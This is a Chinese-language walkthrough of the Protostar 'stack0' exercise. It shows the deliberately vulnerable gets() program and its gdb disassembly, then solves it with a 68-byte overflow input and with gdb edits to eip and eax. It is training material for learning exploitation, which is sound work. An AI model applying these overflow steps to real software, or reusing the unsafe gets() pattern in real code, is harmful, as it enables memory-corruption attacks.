Pwn-protostar靶场1 stack_zero
本靶场所有程序源码包括靶场虚拟机镜像地址
https://exploit.education/protostar
stack zero源码:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
gets函数漏洞:
永远不要使用gets函数,因为如果事先不知道数据,就无法判断gets将读取多少个字符,因为gets将继续存储字符当超过缓冲区的末端时,使用它是极其危险的,它会破坏计算机安全,请改用fgets。
汇编分析
我们使用gdb打开程序进行进一步的分析
gdb /opt/protostar/bin/stack0

然后查看汇编代码,了解程序堆栈如何工作
set disassembly-flavor intel 参数让汇报代码美观一点
disassemble main 显示所有的汇编程序指令

Dump of assembler code for function main:
0x080483f4 <main+0>: push ebp
0x080483f5 <main+1>: mov ebp,esp
0x080483f7 <main+3>: and esp,0xfffffff0
0x080483fa <main+6>: sub esp,0x60
0x080483fd <main+9>: mov DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>: lea eax,[esp+0x1c]
0x08048409 <main+21>: mov DWORD PTR [esp],eax
0x0804840c <main+24>: call 0x804830c <gets@plt>
0x08048411 <main+29>: mov eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>: test eax,eax
0x08048417 <main+35>: je 0x8048427 <main+51>
0x08048419 <main+37>: mov DWORD PTR [esp],0x8048500
0x08048420 <main+44>: call 0x804832c <puts@plt>
0x08048425 <main+49>: jmp 0x8048433 <main+63>
0x08048427 <main+51>: mov DWORD PTR [esp],0x8048529
0x0804842e <main+58>: call 0x804832c <puts@plt>
0x08048433 <main+63>: leave
0x08048434 <main+64>: ret
End of assembler dump.
第一条是将ebp推入栈中,ebp是cpu的一个寄存器,它包含一个地址,指向堆栈中的某个位置,它存放着栈底的地址

0x080483f7 <main+3>: and esp,0xfffffff0
AND 指令可以清除一个操作数中的 1 个位或多个位,同时又不影响其他位。这个技术就称为位屏蔽,就像在粉刷房子时,用遮盖胶带把不用粉刷的地方(如窗户)盖起来,在这里,它隐藏了esp的地址
0x080483fa <main+6>: sub esp,0x60
然后esp减去0x60
0x080483fd <main+9>: mov DWORD PTR [esp+0x5c],0x0
在内存移动的位置为0,在堆栈上的偏移为0x5c
段地址+偏移地址=物理地址
举一个例子,你从家到学校有2000米,这2000米就是物理地址,你从家到医院有1500米,离学校还要500米,这剩下的500米就是偏移地址
0x08048405 <main+17>: lea eax,[esp+0x1c]
0x08048409 <main+21>: mov DWORD PTR [esp],eax
0x0804840c <main+24>: call 0x804830c <gets@plt>
lea操作是取有效地址,也就是取esp地址+偏移地址0x1c处的堆栈
然后DWORD PTR要取eax的地址到esp中
调用gets函数
0x08048411 <main+29>: mov eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>: test eax,eax
然后对比之前设置的值,0,用test来检查
接下来就是if的循环操作
0x08048417 <main+35>: je 0x8048427 <main+51>
0x08048419 <main+37>: mov DWORD PTR [esp],0x8048500
0x08048420 <main+44>: call 0x804832c <puts@plt>
0x08048425 <main+49>: jmp 0x8048433 <main+63>
0x08048427 <main+51>: mov DWORD PTR [esp],0x8048529
0x0804842e <main+58>: call 0x804832c <puts@plt>
实战演示
方法一:溢出
我们先在gets函数地址下一个断点,这样程序在运行到这个地址时会停止继续运行下一步操作。
b *0x0804840c #断点意思就是让程序执行到此“停住”,不再往下执行
然后在调用gets函数后下一个断点,来看我们输入的字符串在哪里
b *0x08048411

然后设置
define hook-stop
这个工具可以帮助我们在每一步操作停下来后,自动的运行我们设置的命令
info registers //显示寄存器里的地址
x/24wx $esp //显示esp寄存器里的内容
x/2i $eip //显示eip寄存器里的内容
end //结束
然后我们输入run运行程序到第一个断点


现在我们马上就要执行gets函数了,输入n执行gets函数(单步执行)
我们随意输入一些内容,按下回车键


可以看到0x61是a的ascii码
x/wx $esp+0x5c //查看esp地址+0x5c偏移地址的内容

算了一下,我们需要68个字符才能覆盖(从第一个0x61开始一共有16个4字节才能到0x00000000,要覆盖他还有4字节,所以一共68个字节)
输入q退出gdb
然后使用echo或者python对程序进行输入(二选一)
python -c 'print "a"*(16*4+4)' | /opt/protostar/bin/stack0
echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' | /opt/protostar/bin/stack0

可以看到,我们已经成功打印出了正确的字符
方式二:更改eip寄存器的值
寄存器的功能是存储二进制代码,不同的寄存器有不同的作用,这里,我们要认识一个很重要的寄存器,他叫做EIP,在64位程序里叫做RIP,他是程序的指针,指针就是寻找地址的,指到什么地址,就会运行该地址的参数,控制了这个指针,就能控制整个程序的运行
重新打开程序,由于我们可以控制eip寄存器,随便在哪下一个断点都行,我这里在程序头下一个断点
b main
运行程序到断点处
查看所有寄存器的值
info registers


我打的断点地址为0x80483fd而eip寄存器的值也是0x80483fd
查看程序汇编代码

如果我们输入的值和程序设置的值不一样,就会跳转到0x8048427这个位置,然后输出try again,也就是破解失败,所以我们将eip寄存器的值修改成0x8048419,下一个地址调用了put函数,输出的是you have changed the ‘modified’ variable也就是破解成功了
现在我们修改eip寄存器的值
set $eip=0x8048419
修改后再次查看所有寄存器里的值,可以看到,现在eip指向了我们指定的地址

n //执行下一个地址

破解成功
方式三:修改eax寄存器的值
最直接的方法是改变对比的值,使eax寄存器的值为不等于0,因为程序源代码逻辑为不等于0后才会输出正确的提示字符you have changed the ‘modified’ variable
在对比的地方下一个断点
b *0x08048415

查看所有寄存器里的值

修改eax寄存器里的值
set $eax = 1

然后继续运行程序

破解成功!